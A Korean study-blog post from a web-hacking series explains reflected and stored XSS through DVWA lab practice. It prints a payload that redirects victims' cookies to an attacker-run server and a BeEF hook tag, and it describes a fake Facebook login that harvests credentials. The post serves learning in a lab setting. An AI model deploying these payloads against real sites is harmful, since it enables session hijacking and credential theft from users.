본문 바로가기

정보보안/화이트 해커를 위한 웹해킹의 기술

Cross-site scripting

XSS(Cross-Site Scripting)

HTML, CSS에서 쓰이는 CSS와 글자가 겹치기 때문에 XSS 라고 부른다.

XSS는 악의적 스크립트 코드를 웹에 삽입하여 해당코드가 실행되게 만드는 공격이다.

주요사례로 쿠키를 탈취하는 것이 있다.

 

XSS는 스크립트 코드가 실행되는 때에 따라 reflected, stored로 구분된다.

 

Reflected XSS

Reflected XSS는 입력된 스크립트코드가 즉시 응답메세지로 출력되는 취약점이다.

 

예시

위와 같은 형태로 진행되는 것 같다.

 

이에 대한 실습을 DVWA에서 해보았다.

 

이름에 asdf를 넣으니 다음과 같이 출력되는 형태이다.

 

입력칸에 스크립트 를 넣으니

 

그대로 실행되는 모습

그래서 alert(1); 스크립트로 XSS 체크를 할 수 있다.

 

document.cookie로 쿠키역시 출력할 수 있다.

 

서버에서 실행한 정보를 로컬에서 받아보았다.

먼저 IP를 확인하고

 

apache2를 실행해 웹서버를 시작한다.

 

위의 코드로 로그를 보는 상태로

<script>alert(document.location='http://192.168.190.134/cookie?'+document.cookie);</script>를 입력하니

위의 사진과 같이 쿠키를 입력받아왔다.

document.location은 지정한 위치로 redirect 시키는 스크립트이다.

 

이후에 XSS 취약점을 활용해서 어떻게 악용되는지를 BeEF 공격 프레임워크를 사용해 보았다.

beef/beef로 로그인을하고

 

<script src="http://127.0.0.1:3000/hook.js"></script>로

XSS를 하면

위의 사진과 같이 정보를 얻는다.

 

그중 Pretty Thef 기능을 사용해보았다.

Facebook을 설정하고 실행하니

 

 

서버에 페이스북 로그인 창이 뜨는 것이었다.

 

로그인한 기록은 BeEF에 저장 된다.

 

Stored XSS

Stored XSS는 게시글처럼 웹서버에 저장되는 형태의 XSS 이다.

 

DVWA의 Stored XSS는 다음과 같다.

 

Message에 넣는 글자수 제한은 html에서 수정이 가능하다.

 

그리고 결과는 위와 같이 cookie를 가져 올 수 있다.

 

취약한 코드의 소스코드를 비교해 본다면 시큐리티 코딩이 되어있는 코드같은 경우에는 입력받아온 내용을 String으로 바꿔서 출력하는것 같다.

 

'정보보안 > 화이트 해커를 위한 웹해킹의 기술' 카테고리의 다른 글

File Inclusion  (0) 2022.02.05
Cross Site Request Forgery  (0) 2022.02.05
Command Injection  (0) 2022.01.29
Blind SQL Injection  (0) 2022.01.29
SQL Injection  (0) 2022.01.25